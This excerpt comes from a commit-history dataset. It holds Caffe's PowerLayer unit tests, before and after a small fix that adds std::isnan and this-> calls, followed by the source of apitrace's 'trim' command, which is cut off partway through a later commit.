TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerOneCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 1.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n TestForward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerOneGradientCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 1.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerTwoCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 2.0;\n TypeParam scale = 0.34;\n TypeParam shift = -2.4;\n TestForward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerTwoGradientCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 2.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerTwoScaleHalfGradientCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 2.0;\n TypeParam scale = 0.5;\n TypeParam shift = -2.4;\n TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 0.37;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n TestForward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerGradientGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 0.37;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerGradientShiftZeroGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 0.37;\n TypeParam scale = 0.83;\n TypeParam shift = 0.0;\n TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerZeroGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 0.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n TestForward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerZeroGradientGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 0.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerOneGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 1.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n TestForward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerOneGradientGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 1.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerTwoGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 2.0;\n TypeParam scale = 0.34;\n TypeParam shift = -2.4;\n TestForward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerTwoGradientGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 2.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerTwoScaleHalfGradientGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 2.0;\n TypeParam scale = 0.5;\n TypeParam shift = -2.4;\n TestBackward(power, scale, shift);\n}\n\n} \/\/ namespace caffe\n<commit_msg>add using std::isnan and use this-> when calling Test{For,Back}ward<commit_after>\/\/ Copyright 2014 BVLC and contributors.\n\n#include <algorithm>\n#include <vector>\n\n#include \"cuda_runtime.h\"\n#include \"gtest\/gtest.h\"\n\n#include \"caffe\/blob.hpp\"\n#include \"caffe\/common.hpp\"\n#include \"caffe\/filler.hpp\"\n#include \"caffe\/vision_layers.hpp\"\n#include \"caffe\/test\/test_gradient_check_util.hpp\"\n\n#include \"caffe\/test\/test_caffe_main.hpp\"\n\nusing std::isnan;\n\nnamespace caffe {\n\nextern cudaDeviceProp CAFFE_TEST_CUDA_PROP;\n\ntemplate <typename Dtype>\nclass PowerLayerTest : public ::testing::Test {\n protected:\n PowerLayerTest()\n : blob_bottom_(new Blob<Dtype>(2, 3, 4, 5)),\n blob_top_(new Blob<Dtype>()) {\n \/\/ fill the values\n FillerParameter filler_param;\n GaussianFiller<Dtype> filler(filler_param);\n filler.Fill(this->blob_bottom_);\n blob_bottom_vec_.push_back(blob_bottom_);\n blob_top_vec_.push_back(blob_top_);\n }\n virtual ~PowerLayerTest() { delete blob_bottom_; delete blob_top_; }\n\n void TestForward(Dtype power, Dtype scale, Dtype shift) {\n LayerParameter layer_param;\n layer_param.mutable_power_param()->set_power(power);\n layer_param.mutable_power_param()->set_scale(scale);\n layer_param.mutable_power_param()->set_shift(shift);\n PowerLayer<Dtype> layer(layer_param);\n layer.SetUp(this->blob_bottom_vec_, &(this->blob_top_vec_));\n layer.Forward(this->blob_bottom_vec_, &(this->blob_top_vec_));\n \/\/ Now, check values\n const Dtype* bottom_data = this->blob_bottom_->cpu_data();\n const Dtype* top_data = this->blob_top_->cpu_data();\n const Dtype min_precision = 1e-5;\n for (int i = 0; i < this->blob_bottom_->count(); ++i) {\n Dtype expected_value = pow(shift + scale * bottom_data[i], power);\n if (power == Dtype(0) || power == Dtype(1) || power == Dtype(2)) {\n EXPECT_FALSE(isnan(top_data[i]));\n }\n if (isnan(expected_value)) {\n EXPECT_TRUE(isnan(top_data[i]));\n } else {\n Dtype precision = max(Dtype(abs(expected_value * 0.0001)),\n min_precision);\n EXPECT_NEAR(expected_value, top_data[i], precision);\n }\n }\n }\n\n void TestBackward(Dtype power, Dtype scale, Dtype shift) {\n LayerParameter layer_param;\n layer_param.mutable_power_param()->set_power(power);\n layer_param.mutable_power_param()->set_scale(scale);\n layer_param.mutable_power_param()->set_shift(shift);\n PowerLayer<Dtype> layer(layer_param);\n if (power != Dtype(0) && power != Dtype(1) && power != Dtype(2)) {\n \/\/ Avoid NaNs by forcing (shift + scale * x) >= 0\n Dtype* bottom_data = this->blob_bottom_->mutable_cpu_data();\n Dtype min_value = -shift \/ scale;\n for (int i = 0; i < this->blob_bottom_->count(); ++i) {\n if (bottom_data[i] < min_value) {\n bottom_data[i] = min_value + (min_value - bottom_data[i]);\n }\n }\n }\n GradientChecker<Dtype> checker(1e-2, 1e-2, 1701, 0., 0.01);\n checker.CheckGradientExhaustive(&layer, &(this->blob_bottom_vec_),\n &(this->blob_top_vec_));\n }\n\n Blob<Dtype>* const blob_bottom_;\n Blob<Dtype>* const blob_top_;\n vector<Blob<Dtype>*> blob_bottom_vec_;\n vector<Blob<Dtype>*> blob_top_vec_;\n};\n\ntypedef ::testing::Types<float, double> Dtypes;\nTYPED_TEST_CASE(PowerLayerTest, Dtypes);\n\nTYPED_TEST(PowerLayerTest, TestPowerCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 0.37;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n this->TestForward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerGradientCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 0.37;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n this->TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerGradientShiftZeroCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 0.37;\n TypeParam scale = 0.83;\n TypeParam shift = 0.0;\n this->TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerZeroCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 0.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n this->TestForward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerZeroGradientCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 0.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n this->TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerOneCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 1.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n this->TestForward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerOneGradientCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 1.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n this->TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerTwoCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 2.0;\n TypeParam scale = 0.34;\n TypeParam shift = -2.4;\n this->TestForward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerTwoGradientCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 2.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n this->TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerTwoScaleHalfGradientCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 2.0;\n TypeParam scale = 0.5;\n TypeParam shift = -2.4;\n this->TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 0.37;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n this->TestForward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerGradientGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 0.37;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n this->TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerGradientShiftZeroGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 0.37;\n TypeParam scale = 0.83;\n TypeParam shift = 0.0;\n this->TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerZeroGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 0.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n this->TestForward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerZeroGradientGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 0.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n this->TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerOneGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 1.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n this->TestForward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerOneGradientGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 1.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n this->TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerTwoGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 2.0;\n TypeParam scale = 0.34;\n TypeParam shift = -2.4;\n this->TestForward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerTwoGradientGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 2.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n this->TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerTwoScaleHalfGradientGPU) {\n Caffe::set_mode(Caffe::GPU);\n TypeParam power = 2.0;\n TypeParam scale = 0.5;\n TypeParam shift = -2.4;\n this->TestBackward(power, scale, shift);\n}\n\n} \/\/ namespace caffe\n<|endoftext|>"} {"text":"<commit_before>\/**************************************************************************\n *\n * Copyright 2010 VMware, Inc.\n * Copyright 2011 Intel corporation\n * All Rights Reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n **************************************************************************\/\n\n#include <sstream>\n#include <string.h>\n#include <limits.h> \/\/ for CHAR_MAX\n#include <getopt.h>\n\n#include <set>\n\n#include \"cli.hpp\"\n\n#include \"os_string.hpp\"\n\n#include \"trace_analyzer.hpp\"\n#include \"trace_callset.hpp\"\n#include \"trace_parser.hpp\"\n#include \"trace_writer.hpp\"\n\nstatic const char *synopsis = \"Create a new trace by trimming an existing trace.\";\n\nstatic void\nusage(void)\n{\n std::cout\n << \"usage: apitrace trim [OPTIONS] TRACE_FILE...\\n\"\n << synopsis << \"\\n\"\n \"\\n\"\n \" -h, --help Show detailed help for trim options and exit\\n\"\n \" --calls=CALLSET Include specified calls in the trimmed output.\\n\"\n \" --frames=FRAMESET Include specified frames in the trimmed output.\\n\"\n \" --deps Include additional calls to satisfy dependencies\\n\"\n \" --no-deps Do not include calls from dependency analysis\\n\"\n \" --prune Omit uninteresting calls from the trace output\\n\"\n \" --no-prune Do not prune uninteresting calls from the trace.\\n\"\n \" -x, --exact Trim exactly to calls specified in --calls\/--frames\\n\"\n \" Equivalent to both --no-deps and --no-prune\\n\"\n \" --print-callset Print the final set of calls included in output\\n\"\n \" --thread=THREAD_ID Only retain calls from specified thread\\n\"\n \" -o, --output=TRACE_FILE Output trace file\\n\"\n ;\n}\n\nstatic void\nhelp()\n{\n std::cout\n << \"usage: apitrace trim [OPTIONS] TRACE_FILE...\\n\"\n << synopsis << \"\\n\"\n \"\\n\"\n \" -h, --help Show this help message and exit\\n\"\n \"\\n\"\n \" --calls=CALLSET Include specified calls in the trimmed output.\\n\"\n \" --frames=FRAMESET Include specified frames in the trimmed output.\\n\"\n \" Note that due to dependency analysis and pruning\\n\"\n \" of uninteresting calls the resulting trace may\\n\"\n \" include more and less calls than specified.\\n\"\n \" See --no-deps, --no-prune, and --exact to change\\n\"\n \" this behavior.\\n\"\n \"\\n\"\n \" --deps Perform dependency analysis and include dependent\\n\"\n \" calls as needed, (even if those calls were not\\n\"\n \" explicitly requested with --calls or --frames).\\n\"\n \" This is the default behavior. See --no-deps and\\n\"\n \" --exact to change the behavior.\\n\"\n \"\\n\"\n \" --no-deps Do not perform dependency analysis. In this mode\\n\"\n \" the trimmed trace will never include calls from\\n\"\n \" outside what is specified in --calls or --frames.\\n\"\n \"\\n\"\n \" --prune Omit calls with no side effects, even if the call\\n\"\n \" is within the range specified by --calls\/--frames.\\n\"\n \" This is the default behavior. See --no-prune.\\n\"\n \"\\n\"\n \" --no-prune Do not prune uninteresting calls from the trace.\\n\"\n \" In this mode the trimmed trace will never omit\\n\"\n \" any calls within the user-specified range.\\n\"\n \"\\n\"\n \" -x, --exact Trim the trace to exactly the calls specified in\\n\"\n \" --calls and --frames. This option is equivalent\\n\"\n \" to passing both --no-deps and --no-prune.\\n\"\n \"\\n\"\n \" --print-callset Print to stdout the final set of calls included\\n\"\n \" in the trim output. This can be useful for\\n\"\n \" debugging trim operations by using a modified\\n\"\n \" callset on the command-line along with --exact.\\n\"\n \" Use --calls=@<file> to read callset from a file.\\n\"\n \"\\n\"\n \" --thread=THREAD_ID Only retain calls from specified thread\\n\"\n \"\\n\"\n \" -o, --output=TRACE_FILE Output trace file\\n\"\n \"\\n\"\n ;\n}\n\nenum {\n CALLS_OPT = CHAR_MAX + 1,\n FRAMES_OPT,\n DEPS_OPT,\n NO_DEPS_OPT,\n PRUNE_OPT,\n NO_PRUNE_OPT,\n THREAD_OPT,\n PRINT_CALLSET_OPT,\n};\n\nconst static char *\nshortOptions = \"ho:x\";\n\nconst static struct option\nlongOptions[] = {\n {\"help\", no_argument, 0, 'h'},\n {\"calls\", required_argument, 0, CALLS_OPT},\n {\"frames\", required_argument, 0, FRAMES_OPT},\n {\"deps\", no_argument, 0, DEPS_OPT},\n {\"no-deps\", no_argument, 0, NO_DEPS_OPT},\n {\"prune\", no_argument, 0, PRUNE_OPT},\n {\"no-prune\", no_argument, 0, NO_PRUNE_OPT},\n {\"exact\", no_argument, 0, 'x'},\n {\"thread\", required_argument, 0, THREAD_OPT},\n {\"output\", required_argument, 0, 'o'},\n {\"print-callset\", no_argument, 0, PRINT_CALLSET_OPT},\n {0, 0, 0, 0}\n};\n\nstruct stringCompare {\n bool operator() (const char *a, const char *b) const {\n return strcmp(a, b) < 0;\n }\n};\n\nstruct trim_options {\n \/* Calls to be included in trace. *\/\n trace::CallSet calls;\n\n \/* Frames to be included in trace. *\/\n trace::CallSet frames;\n\n \/* Whether dependency analysis should be performed. *\/\n bool dependency_analysis;\n\n \/* Whether uninteresting calls should be pruned.. *\/\n bool prune_uninteresting;\n\n \/* Output filename *\/\n std::string output;\n\n \/* Emit only calls from this thread (-1 == all threads) *\/\n int thread;\n\n \/* Print resulting callset *\/\n int print_callset;\n};\n\nstatic int\ntrim_trace(const char *filename, struct trim_options *options)\n{\n trace::ParseBookmark beginning;\n trace::Parser p;\n TraceAnalyzer analyzer;\n std::set<unsigned> *required;\n unsigned frame;\n int call_range_first, call_range_last;\n\n if (!p.open(filename)) {\n std::cerr << \"error: failed to open \" << filename << \"\\n\";\n return 1;\n }\n\n \/* Mark the beginning so we can return here for pass 2. *\/\n p.getBookmark(beginning);\n\n \/* In pass 1, analyze which calls are needed. *\/\n frame = 0;\n trace::Call *call;\n while ((call = p.parse_call())) {\n\n \/* There's no use doing any work past the last call or frame\n * requested by the user. *\/\n if (call->no > options->calls.getLast() ||\n frame > options->frames.getLast()) {\n \n delete call;\n break;\n }\n\n \/* If requested, ignore all calls not belonging to the specified thread. *\/\n if (options->thread != -1 && call->thread_id != options->thread) {\n goto NEXT;\n }\n\n \/* Also, prune if uninteresting (unless the user asked for no pruning. *\/\n if (options->prune_uninteresting && call->flags & trace::CALL_FLAG_UNINTERESTING) {\n goto NEXT;\n }\n\n \/* If this call is included in the user-specified call set,\n * then require it (and all dependencies) in the trimmed\n * output. *\/\n if (options->calls.contains(*call) ||\n options->frames.contains(frame, call->flags)) {\n\n analyzer.require(call);\n }\n\n \/* Regardless of whether we include this call or not, we do\n * some dependency tracking (unless disabled by the user). We\n * do this even for calls we have included in the output so\n * that any state updates get performed. *\/\n if (options->dependency_analysis) {\n analyzer.analyze(call);\n }\n\n NEXT:\n if (call->flags & trace::CALL_FLAG_END_FRAME)\n frame++;\n\n delete call;\n }\n\n \/* Prepare output file and writer for output. *\/\n if (options->output.empty()) {\n os::String base(filename);\n base.trimExtension();\n\n options->output = std::string(base.str()) + std::string(\"-trim.trace\");\n }\n\n trace::Writer writer;\n if (!writer.open(options->output.c_str())) {\n std::cerr << \"error: failed to create \" << filename << \"\\n\";\n return 1;\n }\n\n \/* Reset bookmark for pass 2. *\/\n p.setBookmark(beginning);\n\n \/* In pass 2, emit the calls that are required. *\/\n required = analyzer.get_required();\n\n frame = 0;\n call_range_first = -1;\n call_range_last = -1;\n while ((call = p.parse_call())) {\n\n \/* There's no use doing any work past the last call or frame\n * requested by the user. *\/\n if (call->no > options->calls.getLast() ||\n frame > options->frames.getLast()) {\n\n break;\n }\n\n if (required->find(call->no) != required->end()) {\n writer.writeCall(call);\n\n if (options->print_callset) {\n if (call_range_first < 0) {\n call_range_first = call->no;\n printf (\"%d\", call_range_first);\n } else if (call->no != call_range_last + 1) {\n if (call_range_last != call_range_first)\n printf (\"-%d\", call_range_last);\n call_range_first = call->no;\n printf (\",%d\", call_range_first);\n }\n call_range_last = call->no;\n }\n }\n\n if (call->flags & trace::CALL_FLAG_END_FRAME) {\n frame++;\n }\n\n delete call;\n }\n\n if (options->print_callset) {\n if (call_range_last != call_range_first)\n printf (\"-%d\\n\", call_range_last);\n }\n\n std::cout << \"Trimmed trace is available as \" << options->output << \"\\n\";\n\n return 0;\n}\n\nstatic int\ncommand(int argc, char *argv[])\n{\n struct trim_options options;\n\n options.calls = trace::CallSet(trace::FREQUENCY_NONE);\n options.frames = trace::CallSet(trace::FREQUENCY_NONE);\n options.dependency_analysis = true;\n options.prune_uninteresting = true;\n options.output = \"\";\n options.thread = -1;\n options.print_callset = 0;\n\n int opt;\n while ((opt = getopt_long(argc, argv, shortOptions, longOptions, NULL)) != -1) {\n switch (opt) {\n case 'h':\n help();\n return 0;\n case CALLS_OPT:\n options.calls = trace::CallSet(optarg);\n break;\n case FRAMES_OPT:\n options.frames = trace::CallSet(optarg);\n break;\n case DEPS_OPT:\n options.dependency_analysis = true;\n break;\n case NO_DEPS_OPT:\n options.dependency_analysis = false;\n break;\n case PRUNE_OPT:\n options.prune_uninteresting = true;\n break;\n case NO_PRUNE_OPT:\n options.prune_uninteresting = false;\n break;\n case 'x':\n options.dependency_analysis = false;\n options.prune_uninteresting = false;\n break;\n case THREAD_OPT:\n options.thread = atoi(optarg);\n break;\n case 'o':\n options.output = optarg;\n break;\n case PRINT_CALLSET_OPT:\n options.print_callset = 1;\n break;\n default:\n std::cerr << \"error: unexpected option `\" << opt << \"`\\n\";\n usage();\n return 1;\n }\n }\n\n \/* If neither of --calls nor --frames was set, default to the\n * entire set of calls. *\/\n if (options.calls.empty() && options.frames.empty()) {\n options.calls = trace::CallSet(trace::FREQUENCY_ALL);\n }\n\n if (optind >= argc) {\n std::cerr << \"error: apitrace trim requires a trace file as an argument.\\n\";\n usage();\n return 1;\n }\n\n if (argc > optind + 1) {\n std::cerr << \"error: extraneous arguments:\";\n for (int i = optind + 1; i < argc; i++) {\n std::cerr << \" \" << argv[i];\n }\n std::cerr << \"\\n\";\n usage();\n return 1;\n }\n\n return trim_trace(argv[optind], &options);\n}\n\nconst Command trim_command = {\n \"trim\",\n synopsis,\n help,\n command\n};\n<commit_msg>trim: Print a warning message when doing dependency analysis.<commit_after>\/**************************************************************************\n *\n * Copyright 2010 VMware, Inc.\n * Copyright 2011 Intel corporation\n * All Rights Reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n **************************************************************************\/\n\n#include <sstream>\n#include <string.h>\n#include <limits.h> \/\/ for CHAR_MAX\n#include <getopt.h>\n\n#include <set>\n\n#include \"cli.hpp\"\n\n#include \"os_string.hpp\"\n\n#include \"trace_analyzer.hpp\"\n#include \"trace_callset.hpp\"\n#include \"trace_parser.hpp\"\n#include \"trace_writer.hpp\"\n\nstatic const char *synopsis = \"Create a new trace by trimming an existing trace.\";\n\nstatic void\nusage(void)\n{\n std::cout\n << \"usage: apitrace trim [OPTIONS] TRACE_FILE...\\n\"\n << synopsis << \"\\n\"\n \"\\n\"\n \" -h, --help Show detailed help for trim options and exit\\n\"\n \" --calls=CALLSET Include specified calls in the trimmed output.\\n\"\n \" --frames=FRAMESET Include specified frames in the trimmed output.\\n\"\n \" --deps Include additional calls to satisfy dependencies\\n\"\n \" --no-deps Do not include calls from dependency analysis\\n\"\n \" --prune Omit uninteresting calls from the trace output\\n\"\n \" --no-prune Do not prune uninteresting calls from the trace.\\n\"\n \" -x, --exact Trim exactly to calls specified in --calls\/--frames\\n\"\n \" Equivalent to both --no-deps and --no-prune\\n\"\n \" --print-callset Print the final set of calls included in output\\n\"\n \" --thread=THREAD_ID Only retain calls from specified thread\\n\"\n \" -o, --output=TRACE_FILE Output trace file\\n\"\n ;\n}\n\nstatic void\nhelp()\n{\n std::cout\n << \"usage: apitrace trim [OPTIONS] TRACE_FILE...\\n\"\n << synopsis << \"\\n\"\n \"\\n\"\n \" -h, --help Show this help message and exit\\n\"\n \"\\n\"\n \" --calls=CALLSET Include specified calls in the trimmed output.\\n\"\n \" --frames=FRAMESET Include specified frames in the trimmed output.\\n\"\n \" Note that due to dependency analysis and pruning\\n\"\n \" of uninteresting calls the resulting trace may\\n\"\n \" include more and less calls than specified.\\n\"\n \" See --no-deps, --no-prune, and --exact to change\\n\"\n \" this behavior.\\n\"\n \"\\n\"\n \" --deps Perform dependency analysis and include dependent\\n\"\n \" calls as needed, (even if those calls were not\\n\"\n \" explicitly requested with --calls or --frames).\\n\"\n \" This is the default behavior. See --no-deps and\\n\"\n \" --exact to change the behavior.\\n\"\n \"\\n\"\n \" --no-deps Do not perform dependency analysis. In this mode\\n\"\n \" the trimmed trace will never include calls from\\n\"\n \" outside what is specified in --calls or --frames.\\n\"\n \"\\n\"\n \" --prune Omit calls with no side effects, even if the call\\n\"\n \" is within the range specified by --calls\/--frames.\\n\"\n \" This is the default behavior. See --no-prune.\\n\"\n \"\\n\"\n \" --no-prune Do not prune uninteresting calls from the trace.\\n\"\n \" In this mode the trimmed trace will never omit\\n\"\n \" any calls within the user-specified range.\\n\"\n \"\\n\"\n \" -x, --exact Trim the trace to exactly the calls specified in\\n\"\n \" --calls and --frames. This option is equivalent\\n\"\n \" to passing both --no-deps and --no-prune.\\n\"\n \"\\n\"\n \" --print-callset Print to stdout the final set of calls included\\n\"\n \" in the trim output. This can be useful for\\n\"\n \" debugging trim operations by using a modified\\n\"\n \" callset on the command-line along with --exact.\\n\"\n \" Use --calls=@<file> to read callset from a file.\\n\"\n \"\\n\"\n \" --thread=THREAD_ID Only retain calls from specified thread\\n\"\n \"\\n\"\n \" -o, --output=TRACE_FILE Output trace file\\n\"\n \"\\n\"\n ;\n}\n\nenum {\n CALLS_OPT = CHAR_MAX + 1,\n FRAMES_OPT,\n DEPS_OPT,\n NO_DEPS_OPT,\n PRUNE_OPT,\n NO_PRUNE_OPT,\n THREAD_OPT,\n PRINT_CALLSET_OPT,\n};\n\nconst static char *\nshortOptions = \"ho:x\";\n\nconst static struct option\nlongOptions[] = {\n {\"help\", no_argument, 0, 'h'},\n {\"calls\", required_argument, 0, CALLS_OPT},\n {\"frames\", required_argument, 0, FRAMES_OPT},\n {\"deps\", no_argument, 0, DEPS_OPT},\n {\"no-deps\", no_argument, 0, NO_DEPS_OPT},\n {\"prune\", no_argument, 0, PRUNE_OPT},\n {\"no-prune\", no_argument, 0, NO_PRUNE_OPT},\n {\"exact\", no_argument, 0, 'x'},\n {\"thread\", required_argument, 0, THREAD_OPT},\n {\"output\", required_argument, 0, 'o'},\n {\"print-callset\", no_argument, 0, PRINT_CALLSET_OPT},\n {0, 0, 0, 0}\n};\n\nstruct stringCompare {\n bool operator() (const char *a, const char *b) const {\n return strcmp(a, b) < 0;\n }\n};\n\nstruct trim_options {\n \/* Calls to be included in trace. *\/\n trace::CallSet calls;\n\n \/* Frames to be included in trace. *\/\n trace::CallSet frames;\n\n \/* Whether dependency analysis should be performed. *\/\n bool dependency_analysis;\n\n \/* Whether uninteresting calls should be pruned.. *\/\n bool prune_uninteresting;\n\n \/* Output filename *\/\n std::string output;\n\n \/* Emit only calls from this thread (-1 == all threads) *\/\n int thread;\n\n \/* Print resulting callset *\/\n int print_callset;\n};\n\nstatic int\ntrim_trace(const char *filename, struct trim_options *options)\n{\n trace::ParseBookmark beginning;\n trace::Parser p;\n TraceAnalyzer analyzer;\n std::set<unsigned> *required;\n unsigned frame;\n int call_range_first, call_range_last;\n\n if (!p.open(filename)) {\n std::cerr << \"error: failed to open \" << filename << \"\\n\";\n return 1;\n }\n\n \/* Mark the beginning so we can return here for pass 2. *\/\n p.getBookmark(beginning);\n\n \/* In pass 1, analyze which calls are needed. *\/\n frame = 0;\n trace::Call *call;\n while ((call = p.parse_call())) {\n\n \/* There's no use doing any work past the last call or frame\n * requested by the user. *\/\n if (call->no > options->calls.getLast() ||\n frame > options->frames.getLast()) {\n \n delete call;\n break;\n }\n\n \/* If requested, ignore all calls not belonging to the specified thread. *\/\n if (options->thread != -1 && call->thread_id != options->thread) {\n goto NEXT;\n }\n\n \/* Also, prune if uninteresting (unless the user asked for no pruning. *\/\n if (options->prune_uninteresting && call->flags & trace::CALL_FLAG_UNINTERESTING) {\n goto NEXT;\n }\n\n \/* If this call is included in 